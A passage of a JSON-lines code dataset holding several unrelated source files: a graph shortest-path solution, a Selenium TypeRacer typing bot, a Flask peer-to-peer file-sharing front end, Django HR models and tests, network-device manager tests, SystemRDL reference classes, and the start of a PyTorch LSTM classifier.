(((timeTaken//change)+1)*change + time, neigh)\n else:\n newMove = (timeTaken + time, neigh)\n\n if distArr[neigh]==[] or (len(distArr[neigh])==1 and distArr[neigh][0]!=newMove[0]):\n distArr[neigh] += [newMove[0]]\n heapq.heappush(minHeap, newMove)\n\nfrom collections import deque\n# BFS way\nclass Solution:\n def secondMinimum(self, n: int, edges, time: int, change: int) -> int:\n adjList = [[] for _ in range(n+1)]\n for u, v in edges:\n adjList[u].append(v)\n adjList[v].append(u)\n\n queue = deque()\n queue.append((0, 1))\n visitedDistancesSet = defaultdict(set)\n visitedDistancesSet[1] = {0}\n while queue:\n timeTaken, node = queue.pop()\n if node==n and len(visitedDistancesSet[node])==2:\n return max(visitedDistancesSet[node])\n \n for neigh in adjList[node]:\n # red signal\n if timeTaken//change & 1:\n newMove = (((timeTaken//change)+1)*change + time, neigh)\n else:\n newMove = (timeTaken + time, neigh)\n\n if not visitedDistancesSet[neigh] or (len(visitedDistancesSet[neigh])==1 and newMove[0] not in visitedDistancesSet[neigh]):\n visitedDistancesSet[neigh].add(newMove[0])\n queue.appendleft(newMove)\n","repo_name":"sumanth-naik/Striver-191","sub_path":"Graphs/secondMinimumTimeToReachDestination.py","file_name":"secondMinimumTimeToReachDestination.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"8058881187","text":"\r\nimport os\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom bs4 import BeautifulSoup\r\nimport time \r\n#A function to find the website\r\ndef findtext(text):\r\n start = 'The race is about to start!Guest(you)'\r\n end = 'change display format'\r\n s=text.rfind(start)\r\n e=text.rfind(end)\r\n text=text[s+len(start):e]\r\n return text[text.rfind('wpm')+3:]\r\n#A function to type\r\ndef fasterThanYou(WPM,text,driver):\r\n #controls typing speed\r\n charsPerSec=round(WPM*5/60,2)\r\n try:\r\n typingField=WebDriverWait(driver, 5).until(EC.presence_of_element_located((By.CLASS_NAME,'txtInput')))\r\n \r\n except :\r\n os.system('cls')\r\n print( 'something went wrong try again!')\r\n for char in text:\r\n # pyautogui.press(char)\r\n typingField.send_keys(char)\r\n time.sleep(1/(charsPerSec*1.5))\r\n \r\n \r\ndef TypeRacerbot(speed):\r\n #set the web driver \r\n driver = webdriver.Edge()\r\n driver.maximize_window() # For maximizing window\r\n #Gettin to the website \r\n driver.get('https://play.typeracer.com/')\r\n\r\n try:\r\n button = WebDriverWait(driver, 5).until(EC.presence_of_element_located((By.LINK_TEXT,'Enter a Typing Race')))\r\n print (\"Page is ready!\")\r\n except TimeoutException:\r\n print( \"Loading took too much time!\")\r\n button.click()\r\n time.sleep(5)\r\n html=driver.page_source\r\n soup = BeautifulSoup(html,features=\"html.parser\")\r\n text = soup.get_text()\r\n text=findtext(text)\r\n timer=driver.find_element(By.XPATH,'/html/body/div[4]/div/table/tbody/tr/td/table/tbody/tr/td[3]/div/span').text[1:]\r\n print('Secondes to go:',timer)\r\n time.sleep(int(timer)+1) \r\n fasterThanYou(speed,text,driver) \r\n time.sleep(15)\r\n print('The bot is going to sleep in 15s')\r\n# driver.quit()\r\n\r\n\r\n","repo_name":"84rrry/TypeRacerBot","sub_path":"Source Code/BotLogic.py","file_name":"BotLogic.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"70655213001","text":"class SourceLine():\n \"\"\"Contains information about a line of input.\"\"\"\n\n def __init__(self, source, lineno, content):\n self.source = source\n \"\"\"The file path of the source, or 'string' if string input.\"\"\"\n self.lineno = lineno\n \"\"\"The line number of this line.\"\"\"\n self.content = content\n \"\"\"The content of the line.\"\"\"","repo_name":"cliffordoravec/writedown-parser","sub_path":"src/writedown/sourceline.py","file_name":"sourceline.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"26463350085","text":"from client import *\nfrom flask import Flask, request, render_template, send_file, redirect\nimport os\nimport webbrowser\nimport requests\n\n\nmain()\napp = Flask(__name__)\n\ndef shutdown_server():\n func = request.environ.get('werkzeug.server.shutdown')\n if func is None:\n return ('Not running with the Werkzeug Server')\n func()\n\n@app.route(\"/\")\ndef hello():\n return render_template('index.html')\n\n@app.route(\"/show_nodes\", methods=['POST'])\ndef show_nodes():\n if request.form[\"submit_button\"] == \"show_nodes\":\n return render_template('index.html', data = query(\"show\"))\n elif request.form[\"submit_button\"] == \"show_files\":\n return render_template('index.html', data = query(\"showfiles\"))\n\n@app.route(\"/search_files\", methods=['POST'])\ndef search_files():\n searchedResults = query(\"search \"+ request.form[\"filename\"])\n uniqueResults = []\n ip_set = []\n for term in searchedResults:\n termDetails = term.split(' ')\n ip = termDetails[3]+termDetails[4]\n if ip not in ip_set:\n ip_set.append(ip)\n uniqueResults.append(term)\n return render_template('index.html', data = uniqueResults, formTypeSearch = True)\n\n@app.route(\"/download_file\", methods=['POST'])\ndef download_file(): \n print(\"http://\"+request.form[\"ip\"] + \":\" + request.form[\"port\"] + \"/\" + request.form[\"filename\"])\n return redirect(\"http://\"+request.form[\"ip\"] + \":\" + request.form[\"port\"] + \"/\" + request.form[\"filename\"])\n\n@app.route(\"/kill_node\", methods=['POST'])\ndef kill_node():\n try:\n requests.get(\"http://\"+my_ip+\":\"+str(my_file_server_port)+\"/kill\")\n except:\n pass\n query(\"exit\")\n shutdown_server()\n return \"KILLED THE NODE\"\n \n\nurl = \"http://\"+my_ip+\":\"+str(my_web_server_port)+\"/\"\n\nthreading.Timer(1.25, lambda: webbrowser.open(url)).start()\n","repo_name":"ErangaD/distributed_proj","sub_path":"python/restAPI.py","file_name":"restAPI.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"24852061527","text":"from django.contrib.auth.models import User\nfrom django.shortcuts import get_object_or_404\nfrom rrhh.models.base import *\nfrom rrhh.models.entidad import Entidad, Contrato\n\nNIVEL_ACCESO = (\n (1, 'Invitado'),\n (2, 'Docente'),\n (3, 'Docente administrativo'),\n (4, 'Director'),\n (5, 'Departamental'),\n (6, 'Asesor'),\n (7, 'Administrador'),\n)\n\n\nclass PerfilUsuario(models.Model):\n usuario = models.OneToOneField(User, on_delete=models.CASCADE)\n perfil = models.ForeignKey(\"Perfil\", on_delete=models.CASCADE)\n nivel_acceso = models.PositiveSmallIntegerField(default=1, choices=NIVEL_ACCESO, verbose_name='Nivel de acceso')\n\n @property\n def es_admin(self):\n return True if self.usuario.is_staff or self.nivel_acceso == 7 else False\n\n @property\n def es_asesor(self):\n return True if self.nivel_acceso >= 6 else False\n\n @property\n def es_departamental(self):\n return True if self.nivel_acceso >= 5 else False\n\n @property\n def es_director(self):\n return True if self.nivel_acceso >= 4 else False\n\n @property\n def es_admin_ue(self):\n return True if self.nivel_acceso >= 3 else False\n\n @property\n def es_docente(self):\n return True if self.nivel_acceso >= 2 else False\n\n def __str__(self):\n return '{}, {} ({})'.format(\n self.usuario,\n self.perfil,\n self.nivel_acceso\n )\n\n class Meta:\n verbose_name = u'Perfil de usuario'\n verbose_name_plural = u'Perfiles de usuarios'\n\n\nclass Persona(models.Model):\n GENERO = (\n ('femenino', 'Femenino'),\n ('masculino', 'Masculino')\n )\n NACIONALIDAD = (\n ('chilena', 'Chilena'),\n ('extranjera', 'Extranjera')\n )\n ESTADO_CIVIL = (\n ('soltero', 'Soltero'),\n ('casado', 'Casado'),\n ('divorsiado', 'Divorsiado'),\n ('viudo', 'Viudo')\n )\n\n rut = models.CharField(max_length=16, unique=True)\n nombres = models.CharField(max_length=255)\n apellido_paterno = models.CharField(max_length=255)\n apellido_materno = models.CharField(max_length=255)\n genero = models.CharField(max_length=100, default='masculino', choices=GENERO, null=True, blank=True, verbose_name='Género')\n fecha_nacimiento = models.DateField(null=True, blank=True, verbose_name='Fecha de nacimiento')\n nacionalidad = models.CharField(max_length=100, default='chilena', choices=NACIONALIDAD)\n estado_civil = models.CharField(max_length=100, default='soltero', choices=ESTADO_CIVIL)\n religion = models.BooleanField(default=True, verbose_name='Adventista del Séptimo día')\n direccion = models.CharField(max_length=255, null=True, blank=True, verbose_name='Dirección')\n ciudad = models.ForeignKey('Ciudad', on_delete=models.SET_NULL, null=True, blank=True)\n telefono = models.PositiveIntegerField(null=True, blank=True, verbose_name='Teléfono', help_text='Número de 9 dígitos')\n email = models.EmailField(null=True, blank=True)\n titulado = models.BooleanField(default=False)\n profesion = models.CharField(max_length=255, null=True, blank=True, verbose_name='Título profesional', default='')\n usuario = models.OneToOneField(User, null=True, blank=True, on_delete=models.SET_NULL)\n foto = models.FileField(null=True, blank=True, upload_to=\"rrhh/fotos\", verbose_name='Foto de perfil')\n curriculum = models.FileField(null=True, blank=True, upload_to=\"rrhh/curriculums\")\n\n @property\n def get_name(self):\n return '{} {} {}'.format(\n self.nombres.split(' ')[0],\n self.apellido_paterno,\n self.apellido_materno\n )\n\n @property\n def get_short_name(self):\n return '{} {}'.format(\n self.nombres.split(' ')[0],\n self.apellido_paterno\n )\n\n # @property\n def get_full_name(self):\n return '{} {} {}'.format(\n self.nombres,\n self.apellido_paterno,\n self.apellido_materno\n )\n\n get_full_name.short_description = \"Nombre completo\"\n full_name = property(get_full_name)\n\n @property\n def apellidos(self):\n return '{} {}'.format(\n self.apellido_paterno,\n self.apellido_materno\n )\n\n @property\n def clasificacion(self):\n clasificacion = 'Postulante'\n try:\n if self.funcionario.contrato_set.all():\n clasificacion = 'Postulante SEA'\n if self.funcionario.contrato_set.filter(vigente=True):\n clasificacion = 'Funcionario'\n except:\n pass\n return clasificacion\n\n @property\n def historial(self):\n return {\n 'contratos': self.funcionario.contrato_set.all(),\n }\n\n def save(self, *args, **kwargs):\n self.nombres = self.nombres.title()\n self.apellido_paterno = self.apellido_paterno.title()\n self.apellido_materno = self.apellido_materno.title()\n self.direccion = self.direccion.title() if self.direccion else None\n self.profesion = self.profesion.title() if self.profesion else None\n self.email = self.email.lower() if self.email else None\n return super(Persona, self).save(*args, **kwargs)\n\n def __str__(self):\n return '{} {} {} ({})'.format(\n self.nombres,\n self.apellido_paterno,\n self.apellido_materno,\n self.rut\n )\n\n class Meta:\n verbose_name = u'Persona'\n verbose_name_plural = u'Personas'\n\n\nclass Perfeccionamiento(models.Model):\n persona = models.ForeignKey('Persona', on_delete=models.CASCADE)\n titulo = models.CharField(max_length=255, verbose_name='Nombre del título')\n es_educacion = models.BooleanField(default=True, verbose_name=\"Títulado en educación\")\n area_titulo = models.ForeignKey(\n \"AreaTitulo\",\n on_delete=models.CASCADE,\n null=True, blank=True,\n verbose_name=\"Área del título\"\n )\n especialidad = models.ForeignKey(\"Especialidad\", on_delete=models.CASCADE, null=True, blank=True)\n mencion = models.ForeignKey(\"Mencion\", on_delete=models.CASCADE, null=True, blank=True, verbose_name=\"Mención\")\n grado_academico = models.CharField(max_length=255, verbose_name='Grado académico')\n fecha_titulacion = models.DateField(verbose_name=\"Fecha de titulación\")\n casa_formadora = models.CharField(max_length=255)\n\n def __str__(self):\n return '{}, {}'.format(\n self.persona.get_full_name,\n self.titulo\n )\n\n class Meta:\n verbose_name = u'Perfeccionamiento de persona'\n verbose_name_plural = u'Perfeccionamientos de personas'\n\n\nclass Funcionario(models.Model):\n persona = models.OneToOneField('Persona', on_delete=models.CASCADE)\n salud = models.PositiveSmallIntegerField(default=1, choices=PREVISION_SALUD, verbose_name='Sistema de salud')\n isapre = models.ForeignKey('Isapre', on_delete=models.SET_NULL, null=True, blank=True)\n afp = models.ForeignKey('AFP', on_delete=models.SET_NULL, null=True, blank=True, verbose_name='AFP')\n fecha_ingreso_docente = models.DateField(verbose_name='Fecha de ingreso como docente', null=True, blank=True)\n fecha_ingreso_sea = models.DateField(verbose_name='Fecha de ingreso al SEA', null=True, blank=True)\n estado = models.PositiveSmallIntegerField(default=1, choices=TIPO_FUNCIONARIO, verbose_name='Estado funcionario')\n tipo_misionero = models.PositiveSmallIntegerField(\n choices=TIPO_MISIONERO,\n null=True, blank=True,\n verbose_name='Tipo de Misionero'\n )\n puntos = models.PositiveIntegerField(default=0, null=True, blank=True)\n\n @staticmethod\n def contrato_vigente(id_colegio):\n colegio = get_object_or_404(\n Entidad,\n id=id_colegio\n )\n colegios = Entidad.objects.filter(dependiente=colegio.dependiente)\n\n return Contrato.objects.filter(entidad__in=colegios, vigente=True).exists()\n\n def __str__(self):\n return str(self.persona)\n\n class Meta:\n verbose_name = u'Funcionario'\n verbose_name_plural = u'Funcionarios'\n\n\nclass DatosBancarios(models.Model):\n TIPO_CUENTA = (\n (1, 'Cuenta vista'),\n (2, 'Cuenta corriente'),\n (3, 'Chequera electrónica')\n )\n funcionario = models.ForeignKey('Funcionario', on_delete=models.CASCADE)\n banco = models.ForeignKey(Banco, on_delete=models.CASCADE)\n tipo_cuenta = models.PositiveSmallIntegerField(default=1, choices=TIPO_CUENTA)\n numero = models.PositiveIntegerField()\n\n def __str__(self):\n return '{}, {} - {}'.format(\n self.funcionario.persona,\n self.tipo_cuenta,\n self.banco\n )\n\n class Meta:\n verbose_name = u'Documento de funcionario'\n verbose_name_plural = u'Documentos de funcionarios'\n","repo_name":"j-alexander-acosta/AAGESuite","sub_path":"rrhh/models/persona.py","file_name":"persona.py","file_ext":"py","file_size_in_byte":8838,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"12768143132","text":"import uuid\n\nfrom courier.management.commands.clear_old_admin_logs import \\\n clear_old_admin_logs\nfrom django.contrib.admin.models import LogEntry, ADDITION\nfrom django.core.management import call_command\nfrom django.test import TestCase\n\nfrom fuauth.models import User\n\n\nclass TestClearOldAdminLogs(TestCase):\n \"\"\"Test the clear_old_admin_logs management command\"\"\"\n\n def setUp(self):\n user = User.objects.create_user(\n name=\"Melanie\",\n phone_number=\"777-777-7777\",\n carrier=\"ATT\",\n password=\"password\",\n user_timezone=\"HAWAII\",\n email=\"melanie@emailzzz.com\",\n )\n for i in range(3000):\n LogEntry.objects.create(action_flag=ADDITION, user_id=user.id)\n\n def test_old_admin_logs_are_deleted(self):\n \"\"\"\n The number of log entries should be 2000 after the clear_old_admin_logs\n is run.\n \"\"\"\n num_logs = LogEntry.objects.all().count()\n clear_old_admin_logs()\n new_num_logs = LogEntry.objects.all().count()\n assert new_num_logs == 2000\n assert new_num_logs < num_logs\n\n def test_command_handle_calls_function(self):\n call_command(\"clear_old_admin_logs\")\n assert LogEntry.objects.all().count() == 2000\n","repo_name":"melaniearbor/FiveUp","sub_path":"courier/tests/test_clear_admin_logs.py","file_name":"test_clear_admin_logs.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"63"} +{"seq_id":"17354536574","text":"# coding=utf-8 import datetime import datetime import datetime\nfrom unittest.mock import MagicMock\n\nfrom pytest import fixture, raises, mark\n\nfrom adh6.entity import AbstractDevice\nfrom adh6.entity.device_body import DeviceBody\nfrom adh6.entity.member import Member\nfrom adh6.entity.room import Room\nfrom adh6.exceptions import InvalidMACAddress, MemberNotFoundError\nfrom adh6.device.device_manager import DeviceManager\nfrom adh6.device.device_ip_manager import DeviceIpManager\nfrom adh6.device.interfaces import DeviceRepository\nfrom adh6.member.interfaces.member_repository import MemberRepository\nfrom adh6.room.interfaces.room_repository import RoomRepository\n\n\n@fixture\ndef device_manager(\n mock_device_ip_manager: DeviceIpManager,\n mock_device_repository: DeviceRepository,\n mock_member_repository: MemberRepository,\n mock_room_repository: RoomRepository\n):\n return DeviceManager(\n device_repository=mock_device_repository,\n device_ip_manager=mock_device_ip_manager,\n member_repository=mock_member_repository,\n room_repository=mock_room_repository\n )\n\n\nclass TestUpdateOrCreate:\n def test_create_happy_path(self,\n mock_device_repository: DeviceRepository,\n mock_member_repository: MemberRepository,\n mock_room_repository: RoomRepository,\n sample_member: Member,\n sample_room: Room,\n sample_device: AbstractDevice,\n device_manager: DeviceManager):\n # That the owner exists:\n mock_member_repository.get_by_id = MagicMock(return_value=(sample_member))\n\n # That the device does not exist in the DB:\n mock_device_repository.get_by_mac = MagicMock(return_value=(None))\n # That the device does not exist in the DB:\n mock_device_repository.search_by = MagicMock(return_value=([], 0))\n # That the owner has a room (needed to get the ip range to allocate the IP):\n mock_room_repository.search_by = MagicMock(return_value=([sample_room], 1))\n # That the owner has a room (needed to get the ip range to allocate the IP):\n mock_device_repository.create = MagicMock(return_value=(sample_device))\n\n body = DeviceBody(mac=sample_device.mac, member=sample_device.member, connection_type=sample_device.connection_type)\n # When...\n device = device_manager.create(body)\n\n # Expect...\n assert device is not None\n #mock_device_repository.create.assert_called_once_with(sample_device)\n\n def test_invalid_mac(self,\n mock_device_repository: MagicMock,\n device_manager: DeviceManager):\n\n # When...\n with raises(InvalidMACAddress):\n device_manager.create(DeviceBody(mac='this is not a valid mac'))\n\n # Expect...\n mock_device_repository.create.assert_not_called()\n\n @mark.skip(reason=\"Should we implement the relations logic in the managers ?\")\n def test_bad_member(self,\n mock_member_repository: MemberRepository,\n mock_device_repository: MagicMock,\n device_manager: DeviceManager):\n # Given...\n mock_member_repository.get_by_id = MagicMock(return_value=(None))\n\n # When...\n with raises(MemberNotFoundError):\n device_manager.create(DeviceBody(mac=\"00:00:00:00:00:00\", member=4242))\n\n # Expect...\n mock_device_repository.create.assert_not_called()\n mock_device_repository.update.assert_not_called()\n\n\n@fixture\ndef mock_device_ip_manager():\n return MagicMock(spec=DeviceIpManager)\n\n\n@fixture\ndef mock_member_repository():\n return MagicMock(spec=MemberRepository)\n\n\n@fixture\ndef mock_room_repository():\n return MagicMock(spec=RoomRepository)\n\n\n@fixture\ndef mock_device_repository():\n return MagicMock(spec=DeviceRepository)\n","repo_name":"minet/adh6","sub_path":"api_server/test/unit/use_case/test_device_manager.py","file_name":"test_device_manager.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"63"} +{"seq_id":"45371190697","text":"from typing import TYPE_CHECKING, Optional, Any, List, Tuple, Dict, Type\nfrom copy import deepcopy\n\nfrom .. import rdltypes\nfrom .. import component as comp\n\nfrom .ast_node import ASTNode\nfrom .conditional import is_castable\n\nif TYPE_CHECKING:\n from ..compiler import RDLEnvironment\n from ..core.parameter import Parameter\n from ..source_ref import SourceRefBase\n from rdltypes.typing import PreElabRDLType, RDLValue\n\n OptionalSourceRef = Optional[SourceRefBase]\n\nclass ParameterRef(ASTNode):\n def __init__(self, env: 'RDLEnvironment', src_ref: 'OptionalSourceRef', param: 'Parameter'):\n super().__init__(env, src_ref)\n self.param = param\n\n def predict_type(self) -> 'PreElabRDLType':\n return self.param.param_type\n\n def get_min_eval_width(self) -> int:\n if self.param.expr is None:\n self.msg.fatal(\n \"Value for parameter '%s' was never assigned\" % self.param.name,\n self.src_ref\n )\n return self.param.expr.get_min_eval_width()\n\n def get_value(self, eval_width: Optional[int]=None) -> Any:\n if self.param.expr is None:\n self.msg.fatal(\n \"Value for parameter '%s' was never assigned\" % self.param.name,\n self.src_ref\n )\n return self.param.expr.get_value(eval_width)\n\n\nclass ArrayIndex(ASTNode):\n def __init__(self, env: 'RDLEnvironment', src_ref: 'OptionalSourceRef', array: ASTNode, index: ASTNode):\n super().__init__(env, src_ref)\n self.array = array\n self.index = index\n\n def predict_type(self) -> 'PreElabRDLType':\n if not is_castable(self.index.predict_type(), int):\n self.msg.fatal(\n \"Array index is not a compatible numeric type\",\n self.index.src_ref\n )\n\n array_type = self.array.predict_type()\n if not isinstance(array_type, rdltypes.ArrayedType):\n self.msg.fatal(\n \"Cannot index non-array type\",\n self.array.src_ref\n )\n assert isinstance(array_type, rdltypes.ArrayedType)\n\n return array_type.element_type\n\n def get_min_eval_width(self) -> int:\n # TODO: Need to actually reach in and get eval width of array element\n return 64\n\n def get_value(self, eval_width: Optional[int]=None) -> Any:\n index = self.index.get_value()\n array = self.array.get_value()\n if index >= len(array):\n self.msg.fatal(\n \"Array index '%d' is out of range\" % index,\n self.src_ref\n )\n return array[index]\n\n\nclass MemberRef(ASTNode):\n def __init__(self, env: 'RDLEnvironment', src_ref: 'OptionalSourceRef', struct: ASTNode, member_name: str):\n super().__init__(env, src_ref)\n self.struct = struct\n self.member_name = member_name\n\n def predict_type(self): # type: ignore\n struct_type = self.struct.predict_type()\n\n if not rdltypes.is_user_struct(struct_type):\n self.msg.fatal(\n \"Cannot reference member of non-struct type\",\n self.struct.src_ref\n )\n\n if self.member_name not in struct_type._members:\n self.msg.fatal(\n \"'%s' is not a valid member of struct type '%s'\"\n % (self.member_name, struct_type.__name__),\n self.src_ref\n )\n\n return struct_type._members[self.member_name]\n\n def get_min_eval_width(self) -> int:\n # TODO: Need to actually reach in and get eval width of struct member\n return 64\n\n def get_value(self, eval_width: Optional[int]=None) -> Any:\n struct = self.struct.get_value()\n return struct._values[self.member_name]\n\n\nRefElementsType = List[\n Tuple[str, List[ASTNode], 'OptionalSourceRef']\n]\nclass InstRef(ASTNode):\n def __init__(self, env: 'RDLEnvironment', ref_root: comp.Component, ref_elements: RefElementsType):\n super().__init__(env, None) # single src_ref doesn't make sense for InstRef\n\n # Handle to the component definition where ref_elements is relative to\n # This is the original_def, and NOT the actual instance\n # When deepcopying, this is copied by reference in order to preserve\n # the original def object\n self.ref_root = ref_root\n\n # List of hierarchical reference element tuples that make up the path\n # to the reference.\n # Path is relative to ref_inst\n # Each tuple in the list represents a segment of the path:\n # [\n # ( str , [ , ... ] , SourceRefBase),\n # ( str , [ , ... ] , SourceRefBase)\n # ]\n self.ref_elements = ref_elements\n\n def __deepcopy__(self, memo: Dict[int, Any]) -> 'InstRef':\n \"\"\"\n Copy any Source Ref by ref within the ref_elements list when deepcopying\n \"\"\"\n copy_by_ref = [\"env\", \"msg\", \"ref_root\"]\n cls = self.__class__\n result = cls.__new__(cls)\n memo[id(self)] = result\n for k, v in self.__dict__.items():\n if k in copy_by_ref:\n setattr(result, k, v)\n elif k == \"ref_elements\":\n # Manually deepcopy the ref_elements list\n new_ref_elements = []\n for src_name, src_array_suffixes, src_src_ref in v:\n new_array_suffixes = deepcopy(src_array_suffixes, memo)\n new_ref_elements.append((src_name, new_array_suffixes, src_src_ref))\n setattr(result, k, new_ref_elements)\n else:\n setattr(result, k, deepcopy(v, memo))\n return result\n\n def predict_type(self) -> Type[comp.Component]:\n \"\"\"\n Traverse the ref_elements path and determine the component type being\n referenced.\n Also do some checks on the array indexes\n \"\"\"\n current_comp = self.ref_root\n for name, array_suffixes, name_src_ref in self.ref_elements:\n\n # find instance\n current_comp = current_comp.get_child_by_name(name)\n if current_comp is None:\n # Not found!\n self.msg.fatal(\n \"Could not resolve hierarchical reference to '%s'\" % name,\n name_src_ref\n )\n\n # Do type-check in array suffixes\n for array_suffix in array_suffixes:\n array_suffix.predict_type()\n\n # Check array suffixes\n if (isinstance(current_comp, comp.AddressableComponent)) and current_comp.is_array:\n assert isinstance(current_comp.array_dimensions, list)\n # is an array\n if len(array_suffixes) != len(current_comp.array_dimensions):\n self.msg.fatal(\n \"Incompatible number of index dimensions after '%s'. Expected %d, found %d.\"\n % (name, len(current_comp.array_dimensions), len(array_suffixes)),\n name_src_ref\n )\n elif array_suffixes:\n # Has array suffixes. Check if compatible with referenced component\n self.msg.fatal(\n \"Unable to index non-array component '%s'\" % name,\n name_src_ref\n )\n\n return type(current_comp)\n\n def get_value(self, eval_width: Optional[int]=None) -> rdltypes.ComponentRef:\n \"\"\"\n Build a resolved ComponentRef container that describes the relative path\n \"\"\"\n\n resolved_ref_elements = []\n\n for name, array_suffixes, name_src_ref in self.ref_elements:\n idx_list = [suffix.get_value() for suffix in array_suffixes]\n resolved_ref_elements.append((name, idx_list, name_src_ref))\n\n # Create container\n cref = rdltypes.ComponentRef(self.ref_root, resolved_ref_elements)\n\n return cref\n\n\nclass PropRef(ASTNode):\n def __init__(self, env: 'RDLEnvironment', src_ref: 'OptionalSourceRef', inst_ref: ASTNode, prop_ref_type: Type[rdltypes.PropertyReference]):\n super().__init__(env, src_ref)\n # InstRef to the component whose property is being referenced\n self.inst_ref = inst_ref\n\n # PropertyReference class\n self.prop_ref_type = prop_ref_type\n\n def predict_type(self) -> Type[rdltypes.PropertyReference]:\n \"\"\"\n Predict the type of the inst_ref, and make sure the property being\n referenced is allowed\n \"\"\"\n inst_type = self.inst_ref.predict_type()\n\n if self.prop_ref_type.allowed_inst_type != inst_type:\n self.msg.fatal(\n \"'%s' is not a valid property of instance\" % self.prop_ref_type.get_name(),\n self.src_ref\n )\n\n return self.prop_ref_type\n\n def get_value(self, eval_width: Optional[int]=None) -> rdltypes.PropertyReference:\n cref = self.inst_ref.get_value()\n return self.prop_ref_type(self.src_ref, self.env, cref)\n","repo_name":"SystemRDL/systemrdl-compiler","sub_path":"systemrdl/ast/references.py","file_name":"references.py","file_ext":"py","file_size_in_byte":9037,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"63"} +{"seq_id":"5666771784","text":"#from math import sqrt\nfrom random import randrange\na = []\nn = 10\nprint('Заполненный список:')\nfor i in range(n):\n number = randrange(100) - 50\n a.append(number)\n print(a[i], end=' ')\nprint()\n# код начинается отсюда...\nmaximum = a[0]\nminimum = a[0]\nimax = 0\nfor i in range(n):\n if a[i]maximum:\n maximum = a[i]\n imax = i\nprint(maximum, imax)\nprint(minimum)\nprint(max(a))\nprint(min(a))\nprint(sum(a))","repo_name":"lightalexey/bukharina","sub_path":"списки/макс мин.py","file_name":"макс мин.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"34011901579","text":"\"\"\"The physical.color module defines a few colors, which can be used\nto color things. It also defines an RGB data type, which allows you\nto conveniently define your own new colors.\n\n\"\"\"\n\nfrom __future__ import division, print_function\n\n__all__ = ('RGB',\n 'red', 'green', 'blue',\n 'yellow', 'cyan', 'magenta',\n 'black', 'gray', 'white')\n\nclass RGB(object):\n \"\"\"A color stored in the RGB color space.\n \"\"\"\n def __init__(self, r,g,b):\n \"\"\"Generate a color from the RGB values provided, which should range\n from 0 to 1.\n\n \"\"\"\n self.__r = r; self.__g = g; self.__b = b\n def rgb(self):\n \"\"\"Return a list containing the RGB triple.\n\n \"\"\"\n return [self.__r, self.__g, self.__b]\n def copy(self):\n return RGB(self.__r, self.__g, self.__b)\n def __repr__(self):\n return 'color.RGB({},{},{})'.format(self.__r, self.__g, self.__b)\n\n#: The color red\nred = RGB(1,0,0)\n#: The color green\ngreen = RGB(0,1,0)\n#: The color blue\nblue = RGB(0,0,1)\n#: The color yellow\nyellow = RGB(1,1,0)\n#: The color cyan\ncyan = RGB(0,1,1)\n#: The color magenta\nmagenta = RGB(1,0,1)\n#: The color white\nwhite = RGB(1,1,1)\n#: The color black\nblack = RGB(0,0,0)\n#: The color gray\ngray = RGB(0.5,0.5,0.5)\n","repo_name":"droundy/physical-python","sub_path":"physical/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"72313242759","text":"import pdb\n\nimport torch.nn as nn\nimport torch\nfrom pdb import set_trace\n\nfrom transformers import BertForSequenceClassification, BertConfig, AutoModel\n\nclass TextClassificationLSTM(nn.Module):\n\n def __init__(self, batch_size, vocab_size, embedding_dim, hidden_dim,\n num_classes, num_layers, bidirectional = False,\n dropout = 0, device = 'cpu',\n batch_first = True):\n \"\"\"Text classification LSTM module.\n\n Args\n ----\n batch_size (int): No. datapoints simultaneously fed through model.\n voacb_size (int): No. unique tokens in dictionary.\n embedding_dim (int): No. dimensions to represent each token with.\n hidden_dim (int): Dimensionality of hidden layer.\n num_classes (int): size of output layer.\n num_layers (int): No. layers to be stacked in LSTM.\n bidirectional (bool): If True, introduces bidirectional LSTM, i.e.,\n sequence will be processed in both directions simultaneously.\n Default: False\n dropout (float): probability of dropping out connections in all but\n last layer. Default: 0\n device (str): Hardware device to store/run model on. Default: cpu\n batch_first (bool): Processing input assuming first dimension is\n batch dimension. Default: True\n\n ----------------\n For inspiration:\n https://www.analyticsvidhya.com/blog/2020/01/first-text-classification-in-pytorch/\n https://towardsdatascience.com/lstm-text-classification-using-pytorch-2c6c657f8fc0 (GOEIE)\n https://towardsdatascience.com/text-classification-with-pytorch-7111dae111a6\n https://towardsdatascience.com/multiclass-text-classification-using-lstm-in-pytorch-eac56baed8df\n\n \"\"\"\n\n # Constructor #TODO: why is this necessary? And what about this:\n # super().__init__()\n super(TextClassificationLSTM, self).__init__()\n\n # initialize embedding layer\n self.embedding = nn.Embedding(num_embeddings=vocab_size,\n embedding_dim=embedding_dim,\n padding_idx=0)\n\n # TODO: Try Glove and Word2Vec (pretrained) word embeddings\n\n\n # useful for later in forward function\n self.batch_first = batch_first\n\n # initialize LSTM\n self.lstm = nn.LSTM(input_size = embedding_dim,\n hidden_size = hidden_dim,\n num_layers = num_layers,\n bidirectional = bidirectional,\n dropout = dropout,\n batch_first = self.batch_first)\n\n # fully connected output layer (pre-activation)\n self.num_directions = 2 if bidirectional else 1\n self.fc = nn.Linear(hidden_dim * self.num_directions, num_classes)\n\n self.dropout = nn.Dropout(p=dropout)\n\n # Activation function\n # TODO: figure out over which dimension to do this\n self.act = 